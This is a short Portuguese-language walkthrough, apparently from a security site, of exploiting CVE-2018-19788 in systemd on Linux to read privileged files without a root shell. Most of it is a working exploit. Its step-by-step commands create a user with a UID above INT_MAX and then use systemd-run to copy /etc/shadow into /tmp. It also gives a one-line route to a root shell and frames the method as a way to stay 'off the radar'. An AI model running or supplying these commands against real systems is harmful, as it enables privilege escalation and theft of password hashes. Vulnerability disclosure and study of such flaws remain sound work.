Aproveitando o CVE-2018-19788 para extrair arquivos protegidos sem shell root

CVE-2018-19788 é um problema onde qualquer usuário com UID acima de INT_MAX (ou seja, 4000000000) pode executar qualquer comando systemctl em uma máquina Linux com systemd, como Ubuntu. (Já existe um artigo para obter um shell root encontrado: aqui). A principal diferença entre este artigo e o artigo completo do shell root é que isso será executado como o próprio usuário em vez de um usuário root (basicamente apenas um PoC para ser honesto)

Obtendo /etc/shadow sem executar um shell root

Para obter um shell root, é tão simples quanto executar systemd-run -t /bin/bash, mas se você quiser ficar fora do radar, pode executar comandos simples para obter arquivos privilegiados sem um terminal. Siga estas etapas para fazer isso:

• Adicione um usuário com UID acima de INT_MAX:
  root@kitploit:~

  adduser --uid 4000000000 someusername
  

• Mude para a conta de usuário:
  root@kitploit:~

  su someusername
  

• Execute o comando para o arquivo que desejar (usaremos /etc/shadow para este exemplo):
  root@kitploit:~

  systemd-run bash -c 'cat /etc/shadow > /tmp/results_poc.txt'
  

• Seu arquivo agora está em /tmp:
  root@kitploit:~

  cat /tmp/results_poc.txt
  

Vídeo do PoC